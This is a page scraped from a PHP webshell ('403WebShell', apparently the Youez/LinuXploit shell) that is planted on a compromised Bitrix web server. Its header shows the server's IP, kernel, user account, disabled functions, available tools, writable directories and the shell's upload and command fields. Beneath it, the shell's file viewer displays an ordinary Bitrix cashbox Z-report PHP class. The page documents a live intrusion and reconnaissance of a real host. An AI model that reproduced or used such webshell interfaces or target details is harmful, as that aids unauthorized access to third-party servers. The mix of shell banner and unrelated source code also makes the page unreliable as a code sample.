%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 13.58.161.216
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/cashbox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/cashbox//reportmanager.php
<?php

namespace Bitrix\Sale\Cashbox;

use Bitrix\Main\Entity\ExpressionField;
use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Type\Date;
use Bitrix\Main\Type\DateTime;
use Bitrix\Sale\Result;

Loc::loadLanguageFile(__FILE__);

final class ReportManager
{
	/** This is time re-sending a check print in minutes */
	const MIN_TIME_RESENDING_REPORT = 300;
	const MAX_TIME_RESENDING_REPORT = 43200;

	/**
	 * @param $cashboxId
	 * @return int
	 */
	public static function addZReport($cashboxId)
	{
		$addResult = Internals\CashboxZReportTable::add(
			array(
				'CASHBOX_ID' => $cashboxId,
				'DATE_CREATE' => new DateTime(),
				'STATUS' => 'N',
				'CURRENCY' => 'RUB'
			)
		);

		return $addResult->getId();
	}

	/**
	 * @param $cashboxId
	 * @return array|false
	 */
	public static function getLastZReport($cashboxId)
	{
		$dbRes = Internals\CashboxZReportTable::getList(
			array(
				'select' => array('*'),
				'filter' => array('CASHBOX_ID' => $cashboxId),
				'order' => array('ID' => 'DESC'),
				'limit' => 1,
			)
		);

		return $dbRes->fetch();
	}

	/**
	 * @param $cashboxId
	 * @return int
	 */
	public static function getPrintableZReport($cashboxId)
	{
		$lastZReport = static::getLastZReport($cashboxId);

		$now = new DateTime();
		$nowTs = $now->getTimestamp();

		if ($lastZReport && ($lastZReport['STATUS'] === 'N' || $lastZReport['STATUS'] === 'P'))
		{
			if ($lastZReport['STATUS'] === 'N')
			{
				Internals\CashboxZReportTable::update($lastZReport['ID'], array('STATUS' => 'P', 'DATE_PRINT_START' => new DateTime()));
				return $lastZReport['ID'];
			}
			else
			{
				/** @var Date $datePrintStart */
				$datePrintStart = $lastZReport['DATE_PRINT_START'];
				$datePrintStartTs = $datePrintStart->getTimestamp();

				$p = $nowTs - $datePrintStartTs;
				if ($p > static::MIN_TIME_RESENDING_REPORT && $p < static::MAX_TIME_RESENDING_REPORT)
				{
					return $lastZReport['ID'];
				}
				elseif ($p >= static::MAX_TIME_RESENDING_REPORT)
				{
					Internals\CashboxZReportTable::update($lastZReport['ID'], array('STATUS' => 'E', 'DATE_PRINT_END' => new DateTime()));
				}
			}
		}
		else
		{
			$cashbox = Manager::getCashboxFromCache($cashboxId);
			$prevPrintDate = new DateTime();
			$prevPrintDate->setTime($cashbox['SETTINGS']['Z_REPORT']['TIME']['H'], $cashbox['SETTINGS']['Z_REPORT']['TIME']['M']);
			if ($prevPrintDate->getTimestamp() > $nowTs)
				$prevPrintDate->add("-1d");

			/** @var Date $datePrintStart */
			if ($lastZReport)
				$datePrintStart = $lastZReport['DATE_PRINT_START'];
			else
				$datePrintStart = new DateTime('2017-01-01 00:00:00', 'Y-m-d H:i:s');

			$datePrintStartTs = $datePrintStart->getTimestamp();

			if ($prevPrintDate->getTimestamp() - $datePrintStartTs > static::MIN_TIME_RESENDING_REPORT)
			{
				$dbChecksCount = CheckManager::getList(
					array(
						'select' => array('CNT'),
						'filter' => array(
							'CASHBOX_ID' => $cashboxId,
							'>=DATE_PRINT_START' => $datePrintStart,
							'<DATE_PRINT_START' => $prevPrintDate,
						),
						'runtime' => array(
							new ExpressionField('CNT', 'COUNT(*)')
						)
					)
				);
				$checksCount = $dbChecksCount->fetch();
				if ($checksCount && $checksCount['CNT'] > 0)
				{
					$reportId = static::addZReport($cashboxId);
					Internals\CashboxZReportTable::update($reportId, array('STATUS' => 'P', 'DATE_PRINT_START' => new DateTime()));
					return $reportId;
				}
			}
		}

		return 0;
	}

	/**
	 * @param $reportId
	 * @param $data
	 * @return Result
	 */
	public static function saveZReportPrintResult($reportId, $data)
	{
		$result = new Result();

		if ($reportId <= 0)
		{
			$result->addError(new Error(Loc::getMessage('SALE_CASHBOX_ERROR_REPORT_ID')));
			return $result;
		}

		$report = Internals\CashboxZReportTable::getRowById($reportId);
		if (!$report)
		{
			$result->addError(new Error(Loc::getMessage('SALE_CASHBOX_ERROR_REPORT_NOT_FOUND', array('#REPORT_ID#' => $reportId))));
			return $result;
		}

		if ($report['STATUS'] === 'Y')
			return $result;

		if (isset($data['ERROR']))
		{
			$errorMessage = Loc::getMessage('SALE_CASHBOX_ERROR_REPORT_PRINT', array('#REPORT_ID#' => $reportId));
			if ($data['ERROR']['MESSAGE'])
				$errorMessage .= ': '.$data['ERROR']['MESSAGE'];

			if ($data['ERROR']['TYPE'] === Errors\Warning::TYPE)
			{
				if ($report['CNT_FAIL_PRINT'] >= 3)
				{
					$data['ERROR']['TYPE'] = Errors\Error::TYPE;
				}
				else
				{
					$result->addError(new Errors\Warning($errorMessage));
					Internals\CashboxZReportTable::update($reportId, array('CNT_FAIL_PRINT' => $report['CNT_FAIL_PRINT']+1));
					return $result;
				}
			}

			if ($data['ERROR']['TYPE'] === Errors\Error::TYPE)
			{
				$updatedFields = array('STATUS' => 'E', 'DATE_PRINT_END' => new DateTime());
				if ((int)$report['CNT_FAIL_PRINT'] === 0)
					$updatedFields['CNT_FAIL_PRINT'] = 1;

				Internals\CashboxZReportTable::update($reportId, $updatedFields);
				$error = new Errors\Error($errorMessage);
				Logger::addError($error->getMessage(), $report['CASHBOX_ID']);
			}
			else
			{
				$error = new Errors\Warning($errorMessage);
				Logger::addWarning($error->getMessage(), $report['CASHBOX_ID']);
			}

			$result->addError($error);
		}
		else
		{
			$updateResult = Internals\CashboxZReportTable::update(
				$reportId,
				array(
					'STATUS' => 'Y',
					'DATE_PRINT_END' => new DateTime(),
					'CASH_SUM' => $data['CASH_SUM'],
					'CASHLESS_SUM' => $data['CASHLESS_SUM'],
					'CUMULATIVE_SUM' => $data['CUMULATIVE_SUM'],
					'RETURNED_SUM' => $data['RETURNED_SUM'],
					'LINK_PARAMS' => $data['LINK_PARAMS']
				)
			);

			if (!$updateResult->isSuccess())
				$result->addErrors($updateResult->getErrors());
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit